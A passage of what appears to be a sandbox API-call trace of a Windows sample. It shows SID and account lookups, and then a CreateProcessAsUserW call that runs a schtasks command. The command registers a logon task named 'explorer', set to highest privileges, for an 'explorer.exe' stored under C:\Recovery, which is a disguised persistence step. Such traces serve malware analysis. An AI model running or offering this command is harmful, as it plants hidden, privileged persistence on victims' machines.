SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2b8 [0137.568] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0137.568] malloc (_Size=0x18) returned 0x2af0c0 [0137.568] malloc (_Size=0x18) returned 0x2aef80 [0137.568] SysStringLen (param_1="S-1-5") returned 0x5 [0137.568] SysStringLen (param_1="-") returned 0x1 [0137.568] memcpy (in: _Dst=0x139628, _Src=0x1618e8, _Size=0xc | out: _Dst=0x139628) returned 0x139628 [0137.568] memcpy (in: _Dst=0x139632, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x139632) returned 0x139632 [0137.568] free (_Block=0x2aefc0) [0137.568] free (_Block=0x2af0c0) [0137.568] malloc (_Size=0x18) returned 0x2af0c0 [0137.568] malloc (_Size=0x18) returned 0x2aefc0 [0137.568] SysStringLen (param_1="S-1-5-") returned 0x6 [0137.568] SysStringLen (param_1="21") returned 0x2 [0137.569] memcpy (in: _Dst=0x1397d8, _Src=0x139628, _Size=0xe | out: _Dst=0x1397d8) returned 0x1397d8 [0137.569] memcpy (in: _Dst=0x1397e4, _Src=0x1618e8, _Size=0x6 | out: _Dst=0x1397e4) returned 0x1397e4 [0137.569] free (_Block=0x2aef80) [0137.569] free (_Block=0x2af0c0) [0137.569] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2bc [0137.569] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0137.569] malloc (_Size=0x18) returned 0x2af0c0 [0137.569] malloc (_Size=0x18) returned 0x2aef80 [0137.569] SysStringLen (param_1="S-1-5-21") returned 0x8 [0137.569] SysStringLen (param_1="-") returned 0x1 [0137.569] memcpy (in: _Dst=0x1618e8, _Src=0x1397d8, _Size=0x12 | out: _Dst=0x1618e8) returned 0x1618e8 [0137.569] memcpy (in: _Dst=0x1618f8, _Src=0x139628, _Size=0x4 | out: _Dst=0x1618f8) returned 0x1618f8 [0137.569] free (_Block=0x2aefc0) [0137.569] free (_Block=0x2af0c0) [0137.569] malloc (_Size=0x18) returned 0x2af0c0 [0137.569] malloc (_Size=0x18) returned 0x2aefc0 [0137.570] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0137.570] SysStringLen (param_1="4219442223") returned 0xa [0137.570] memcpy (in: _Dst=0x1179f8, _Src=0x1618e8, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0137.570] memcpy (in: _Dst=0x117a0a, _Src=0x1397d8, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0137.570] free (_Block=0x2aef80) [0137.570] free (_Block=0x2af0c0) [0137.570] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae2c0 [0137.570] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0137.570] malloc (_Size=0x18) returned 0x2af0c0 [0137.570] malloc (_Size=0x18) returned 0x2aef80 [0137.570] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0137.570] SysStringLen (param_1="-") returned 0x1 [0137.570] memcpy (in: _Dst=0x117a48, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x117a48) returned 0x117a48 [0137.570] memcpy (in: _Dst=0x117a6e, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x117a6e) returned 0x117a6e [0137.570] free (_Block=0x2aefc0) [0137.570] free (_Block=0x2af0c0) [0137.570] malloc (_Size=0x18) returned 0x2af0c0 [0137.571] malloc (_Size=0x18) returned 0x2aefc0 [0137.571] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0137.571] SysStringLen (param_1="4223814209") returned 0xa [0137.571] memcpy (in: _Dst=0x12d808, _Src=0x117a48, _Size=0x2a | out: _Dst=0x12d808) returned 0x12d808 [0137.571] memcpy (in: _Dst=0x12d830, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x12d830) returned 0x12d830 [0137.571] free (_Block=0x2aef80) [0137.571] free (_Block=0x2af0c0) [0137.571] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae2c4 [0137.571] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0137.571] malloc (_Size=0x18) returned 0x2af0c0 [0137.571] malloc (_Size=0x18) returned 0x2aef80 [0137.571] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0137.571] SysStringLen (param_1="-") returned 0x1 [0137.571] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x3e | out: _Dst=0x12db38) returned 0x12db38 [0137.571] memcpy (in: _Dst=0x12db74, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12db74) returned 0x12db74 [0137.571] free (_Block=0x2aefc0) [0137.572] free (_Block=0x2af0c0) [0137.572] malloc (_Size=0x18) returned 0x2af0c0 [0137.572] malloc (_Size=0x18) returned 0x2aefc0 [0137.572] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0137.572] SysStringLen (param_1="3835049652") returned 0xa [0137.572] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x40 | out: _Dst=0x12d808) returned 0x12d808 [0137.572] memcpy (in: _Dst=0x12d846, _Src=0x1618e8, _Size=0x16 | out: _Dst=0x12d846) returned 0x12d846 [0137.572] free (_Block=0x2aef80) [0137.572] free (_Block=0x2af0c0) [0137.572] GetSidSubAuthority (pSid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae2c8 [0137.572] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0137.572] malloc (_Size=0x18) returned 0x2af0c0 [0137.572] malloc (_Size=0x18) returned 0x2aef80 [0137.572] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0137.572] SysStringLen (param_1="-") returned 0x1 [0137.572] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x54 | out: _Dst=0x12db38) returned 0x12db38 [0137.572] memcpy (in: _Dst=0x12db8a, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x12db8a) returned 0x12db8a [0137.573] free (_Block=0x2aefc0) [0137.573] free (_Block=0x2af0c0) [0137.573] malloc (_Size=0x18) returned 0x2af0c0 [0137.573] malloc (_Size=0x18) returned 0x2aefc0 [0137.573] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0137.573] SysStringLen (param_1="1000") returned 0x4 [0137.573] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x56 | out: _Dst=0x12d808) returned 0x12d808 [0137.573] memcpy (in: _Dst=0x12d85c, _Src=0x1618e8, _Size=0xa | out: _Dst=0x12d85c) returned 0x12d85c [0137.573] free (_Block=0x2aef80) [0137.573] free (_Block=0x2af0c0) [0137.573] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0137.573] malloc (_Size=0x5e) returned 0x2b08a0 [0137.573] free (_Block=0x2aefc0) [0137.573] malloc (_Size=0x18) returned 0x2aefc0 [0137.574] free (_Block=0x2b08a0) [0137.574] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0137.575] GetLastError () returned 0x7a [0137.575] malloc (_Size=0x14) returned 0x2af0c0 [0137.575] malloc (_Size=0x16) returned 0x2aef80 [0137.575] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2b0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af0c0, cchName=0xe7ca84, ReferencedDomainName=0x2aef80, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0137.575] malloc (_Size=0x18) returned 0x2af000 [0137.576] malloc (_Size=0x18) returned 0x2aefa0 [0137.576] free (_Block=0x2af0c0) [0137.576] free (_Block=0x2aef80) [0137.576] free (_Block=0x2affd0) [0137.576] free (_Block=0x2aefa0) [0137.576] free (_Block=0x2af000) [0137.576] free (_Block=0x2aefc0) [0137.577] free (_Block=0x2ae2a0) [0137.577] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x109fb0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0137.577] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0137.577] GetLastError () returned 0x7a [0137.577] malloc (_Size=0x2c) returned 0x2ae2e0 [0137.577] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x2ae2e0, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2ae2e0, ReturnLength=0xe7cbf8) returned 1 [0137.577] IsValidSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0137.577] GetLengthSid (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0137.577] malloc (_Size=0x1c) returned 0x2affd0 [0137.577] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2affd0, pSourceSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2affd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0137.577] GetSidIdentifierAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f2 [0137.577] malloc (_Size=0x18) returned 0x2aefc0 [0137.577] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0137.578] malloc (_Size=0x18) returned 0x2af000 [0137.578] malloc (_Size=0x18) returned 0x2aefa0 [0137.578] SysStringLen (param_1="S-1-") returned 0x4 [0137.578] SysStringLen (param_1="5") returned 0x1 [0137.578] memcpy (in: _Dst=0x1397d8, _Src=0x139628, _Size=0xa | out: _Dst=0x1397d8) returned 0x1397d8 [0137.578] memcpy (in: _Dst=0x1397e0, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x1397e0) returned 0x1397e0 [0137.578] free (_Block=0x2aefc0) [0137.578] free (_Block=0x2af000) [0137.578] GetSidSubAuthorityCount (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2ae2f1 [0137.578] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2ae2f8 [0137.578] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0137.578] malloc (_Size=0x18) returned 0x2af000 [0137.578] malloc (_Size=0x18) returned 0x2aefc0 [0137.578] SysStringLen (param_1="S-1-5") returned 0x5 [0137.578] SysStringLen (param_1="-") returned 0x1 [0137.578] memcpy (in: _Dst=0x1618e8, _Src=0x1397d8, _Size=0xc | out: _Dst=0x1618e8) returned 0x1618e8 [0137.579] memcpy (in: _Dst=0x1618f2, _Src=0x139628, _Size=0x4 | out: _Dst=0x1618f2) returned 0x1618f2 [0137.579] free (_Block=0x2aefa0) [0137.579] free (_Block=0x2af000) [0137.579] malloc (_Size=0x18) returned 0x2af000 [0137.579] malloc (_Size=0x18) returned 0x2aefa0 [0137.579] SysStringLen (param_1="S-1-5-") returned 0x6 [0137.579] SysStringLen (param_1="21") returned 0x2 [0137.579] memcpy (in: _Dst=0x139628, _Src=0x1618e8, _Size=0xe | out: _Dst=0x139628) returned 0x139628 [0137.579] memcpy (in: _Dst=0x139634, _Src=0x1397d8, _Size=0x6 | out: _Dst=0x139634) returned 0x139634 [0137.579] free (_Block=0x2aefc0) [0137.579] free (_Block=0x2af000) [0137.579] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2ae2fc [0137.579] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0137.579] malloc (_Size=0x18) returned 0x2af000 [0137.579] malloc (_Size=0x18) returned 0x2aefc0 [0137.579] SysStringLen (param_1="S-1-5-21") returned 0x8 [0137.580] SysStringLen (param_1="-") returned 0x1 [0137.580] memcpy (in: _Dst=0x1397d8, _Src=0x139628, _Size=0x12 | out: _Dst=0x1397d8) returned 0x1397d8 [0137.580] memcpy (in: _Dst=0x1397e8, _Src=0x1618e8, _Size=0x4 | out: _Dst=0x1397e8) returned 0x1397e8 [0137.580] free (_Block=0x2aefa0) [0137.580] free (_Block=0x2af000) [0137.580] malloc (_Size=0x18) returned 0x2af000 [0137.580] malloc (_Size=0x18) returned 0x2aefa0 [0137.580] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0137.580] SysStringLen (param_1="4219442223") returned 0xa [0137.580] memcpy (in: _Dst=0x1179f8, _Src=0x1397d8, _Size=0x14 | out: _Dst=0x1179f8) returned 0x1179f8 [0137.580] memcpy (in: _Dst=0x117a0a, _Src=0x139628, _Size=0x16 | out: _Dst=0x117a0a) returned 0x117a0a [0137.580] free (_Block=0x2aefc0) [0137.580] free (_Block=0x2af000) [0137.580] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2ae300 [0137.580] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0137.581] malloc (_Size=0x18) returned 0x2af000 [0137.581] malloc (_Size=0x18) returned 0x2aefc0 [0137.581] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0137.581] SysStringLen (param_1="-") returned 0x1 [0137.581] memcpy (in: _Dst=0x117a48, _Src=0x1179f8, _Size=0x28 | out: _Dst=0x117a48) returned 0x117a48 [0137.581] memcpy (in: _Dst=0x117a6e, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x117a6e) returned 0x117a6e [0137.581] free (_Block=0x2aefa0) [0137.581] free (_Block=0x2af000) [0137.581] malloc (_Size=0x18) returned 0x2af000 [0137.581] malloc (_Size=0x18) returned 0x2aefa0 [0137.581] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0137.581] SysStringLen (param_1="4223814209") returned 0xa [0137.581] memcpy (in: _Dst=0x12db38, _Src=0x117a48, _Size=0x2a | out: _Dst=0x12db38) returned 0x12db38 [0137.581] memcpy (in: _Dst=0x12db60, _Src=0x1397d8, _Size=0x16 | out: _Dst=0x12db60) returned 0x12db60 [0137.581] free (_Block=0x2aefc0) [0137.581] free (_Block=0x2af000) [0137.581] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2ae304 [0137.582] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0137.582] malloc (_Size=0x18) returned 0x2af000 [0137.582] malloc (_Size=0x18) returned 0x2aefc0 [0137.582] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0137.582] SysStringLen (param_1="-") returned 0x1 [0137.582] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x3e | out: _Dst=0x12d808) returned 0x12d808 [0137.582] memcpy (in: _Dst=0x12d844, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x12d844) returned 0x12d844 [0137.582] free (_Block=0x2aefa0) [0137.582] free (_Block=0x2af000) [0137.582] malloc (_Size=0x18) returned 0x2af000 [0137.582] malloc (_Size=0x18) returned 0x2aefa0 [0137.582] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0137.582] SysStringLen (param_1="3835049652") returned 0xa [0137.582] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x40 | out: _Dst=0x12db38) returned 0x12db38 [0137.582] memcpy (in: _Dst=0x12db76, _Src=0x1397d8, _Size=0x16 | out: _Dst=0x12db76) returned 0x12db76 [0137.582] free (_Block=0x2aefc0) [0137.583] free (_Block=0x2af000) [0137.583] GetSidSubAuthority (pSid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2ae308 [0137.583] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0137.583] malloc (_Size=0x18) returned 0x2af000 [0137.583] malloc (_Size=0x18) returned 0x2aefc0 [0137.583] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0137.583] SysStringLen (param_1="-") returned 0x1 [0137.583] memcpy (in: _Dst=0x12d808, _Src=0x12db38, _Size=0x54 | out: _Dst=0x12d808) returned 0x12d808 [0137.583] memcpy (in: _Dst=0x12d85a, _Src=0x1397d8, _Size=0x4 | out: _Dst=0x12d85a) returned 0x12d85a [0137.583] free (_Block=0x2aefa0) [0137.583] free (_Block=0x2af000) [0137.583] malloc (_Size=0x18) returned 0x2af000 [0137.583] malloc (_Size=0x18) returned 0x2aefa0 [0137.583] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0137.583] SysStringLen (param_1="1000") returned 0x4 [0137.583] memcpy (in: _Dst=0x12db38, _Src=0x12d808, _Size=0x56 | out: _Dst=0x12db38) returned 0x12db38 [0137.584] memcpy (in: _Dst=0x12db8c, _Src=0x1397d8, _Size=0xa | out: _Dst=0x12db8c) returned 0x12db8c [0137.584] free (_Block=0x2aefc0) [0137.584] free (_Block=0x2af000) [0137.584] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0137.584] malloc (_Size=0x5e) returned 0x2b08a0 [0137.584] free (_Block=0x2aefa0) [0137.584] malloc (_Size=0x18) returned 0x2aefa0 [0137.584] free (_Block=0x2b08a0) [0137.585] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name=0x0, cchName=0xe7ca94, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 0 [0137.586] GetLastError () returned 0x7a [0137.586] malloc (_Size=0x14) returned 0x2af000 [0137.586] malloc (_Size=0x16) returned 0x2aefc0 [0137.586] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2ae2f0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af000, cchName=0xe7ca94, ReferencedDomainName=0x2aefc0, cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98 | out: Name="kEecfMwgj", cchName=0xe7ca94, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca90, peUse=0xe7cb98) returned 1 [0137.586] malloc (_Size=0x18) returned 0x2aef80 [0137.586] malloc (_Size=0x18) returned 0x2af0c0 [0137.587] free (_Block=0x2af000) [0137.587] free (_Block=0x2aefc0) [0137.587] free (_Block=0x2affd0) [0137.587] free (_Block=0x2af0c0) [0137.587] free (_Block=0x2aef80) [0137.587] free (_Block=0x2aefa0) [0137.587] free (_Block=0x2ae2e0) [0137.588] malloc (_Size=0x48) returned 0x2ad270 [0137.588] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefc010000 [0137.618] GetProcAddress (hModule=0x7fefc010000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefc011080 [0137.618] GetProcAddress (hModule=0x7fefc010000, lpProcName="CreateEnvironmentBlock") returned 0x7fefc0110b0 [0137.618] malloc (_Size=0x18) returned 0x2aefa0 [0137.618] CreateEnvironmentBlock () returned 0x1 [0137.623] memcpy (in: _Dst=0xe7cd00, _Src=0xe7dad0, _Size=0x68 | out: _Dst=0xe7cd00) returned 0xe7cd00 [0137.623] malloc (_Size=0x18) returned 0x2aef80 [0137.624] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"explorer\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x174df0, lpCurrentDirectory=0x0, lpStartupInfo=0xe7cd00*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xe7cba0 | out: lpCommandLine="schtasks.exe /create /tn \"explorer\" /sc ONLOGON /tr \"'C:\\Recovery\\d327d5c2-7147-11eb-9862-d731c5aaa7a9\\explorer.exe'\" /rl HIGHEST /f", lpProcessInformation=0xe7cba0*(hProcess=0x2f8, hThread=0x248, dwProcessId=0xf68, dwThreadId=0xf6c)) returned 1 [0137.631] CloseHandle (hObject=0x2f8) returned 1 [0137.631] CloseHandle (hObject=0x248) returned 1 [0137.631] free (_Block=0x2aef80) [0137.631] DestroyEnvironmentBlock () returned 0x1 [0137.631] malloc (_Size=0x48) returned 0x2ad3b0 [0137.631] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x20f42f40, dwHighDateTime=0x1d8a92a)) [0137.631] SetEvent (hEvent=0x1f0) returned 1 [0137.632] CloseHandle (hObject=0x234) returned 1 [0137.632] CloseHandle (hObject=0x238) returned 1 [0137.664] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x4) returned 0xfd950 [0137.664] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0xfd950, pulNumLanguages=0xe7e2b0 | out: pulNumLanguages=0xe7e2b0) returned 1 [0137.664] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0138.257] SetLastError (dwErrCode=0x0) [0138.257] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0138.257] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd960 [0138.257] SetLastError (dwErrCode=0x0) [0138.257] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd960, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0138.257] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd950 [0138.257] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd960 | out: hHeap=0xc0000) returned 1 [0138.257] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12f3e0 [0138.257] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12f3e0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0138.257] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12f3e0 | out: hHeap=0xc0000) returned 1 [0138.259] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0138.260] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0138.260] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0138.260] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0138.261] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0138.261] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0138.261] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0138.263] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0138.263] GetCurrentThread () returned 0xfffffffffffffffe [0138.263] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x238) returned 1 [0138.263] malloc (_Size=0xd8) returned 0x2b35c0 [0138.263] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 